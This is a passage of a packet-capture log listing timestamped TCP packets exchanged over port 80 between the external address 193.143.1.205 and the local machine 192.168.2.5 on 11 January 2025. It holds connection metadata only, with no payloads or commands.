Jan 11, 2025 04:08:57.254492998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254528046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254538059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254565954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254604101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254637003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254669905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254676104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254704952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254743099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254745007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254884005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254916906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254950047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.254956961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.254985094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.255023956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.255306959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.255361080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.256413937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.258898020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.258933067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.258966923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.258979082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.271390915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271424055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271476030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271488905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.271511078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.271512032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271544933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271579027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.271585941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.283277988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.288573027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.305109024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.305144072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.305177927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.305227995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.305254936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338238001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338304996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338337898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338371992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338413000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338449955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338468075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338504076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338537931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338568926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338571072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338606119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338643074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338660955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338677883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338709116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338831902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338865042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338890076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.338917017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.338965893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374269962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374341965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374397993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374433041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374444008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374469042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374481916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374505043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374560118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374566078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374613047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374654055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374687910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374713898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374722004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374748945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374754906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374789000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374824047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374840021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374859095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374871016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374892950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374926090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.374938011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.374979973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375015974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375030994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375051975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375145912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375197887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375272989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375308990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375356913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375360966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375396013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375421047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375430107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375464916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375499010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375509024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375534058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375567913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375586987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375603914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375607967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375792980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375827074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375840902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375860929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375895023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375927925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375940084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375961065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.375977993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.375996113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376029015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376045942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376064062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376178980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376338005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376372099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376405954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376441002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376457930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376477003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376492977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376511097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376544952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376559019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376580000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376614094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376647949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376696110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376789093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376825094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376851082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376859903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376868963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.376890898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.376940012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.379873991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.379930973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.379968882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.379983902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380064964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380110979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380119085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380156040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380187988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380234957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380242109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380275965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380311012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380341053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380359888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380414963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380446911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380481005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380492926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380516052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380548954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380562067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380584002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380615950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380650043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380659103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380683899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380717993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380728006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380753994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380760908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380789042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380824089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380832911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.380912066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380948067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.380959034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381061077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381093979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381129980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381144047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381165028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381175041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381198883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381232977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381256104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381267071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381325006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381422043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381457090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381503105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381537914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381551981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381576061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381609917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.381627083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381653070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.381752968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427129984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427181959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427241087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427264929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427278042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427344084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427345991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427381992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427417040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427428961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427453995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427486897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427499056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427520990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427566051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427573919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427609921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427647114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427654028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427711010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427740097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427752972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427792072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427820921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427834988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427855015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427887917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427896976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.427941084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427977085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.427985907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.428009987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.428045034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.428055048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460308075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460347891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460390091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460442066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460439920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460439920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460477114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460510015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460526943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460546970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460592985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460630894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460664988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460697889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460712910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460732937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460764885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460777044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460799932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460838079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.460923910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460958004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.460999966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461009026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461044073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461076975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461086988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461113930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461148024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461153984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461313009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461347103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461359978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461381912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461416006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461426020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461451054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461483002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461496115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461518049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461554050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461561918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461738110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461766005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461787939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461801052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461836100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461846113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461869001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461904049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461914062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.461955070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461987972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.461997032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462021112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462054014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462060928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462089062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462121964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462127924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462156057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462191105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462198019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462446928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462480068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462496996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462513924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462547064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462552071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462579966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462614059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462646961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462656021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462682009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462718964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462728024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462750912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462762117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462785959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462819099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462826967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.462852001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462889910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.462893963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463517904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463572025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463574886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463609934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463646889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463653088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463681936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463715076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463726044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463751078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463787079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463792086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463820934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463855982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463862896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463891029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463924885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463958979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.463958979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.463998079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464015007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464067936 CET	80	49704	193.143.1.205	192.168.2.5
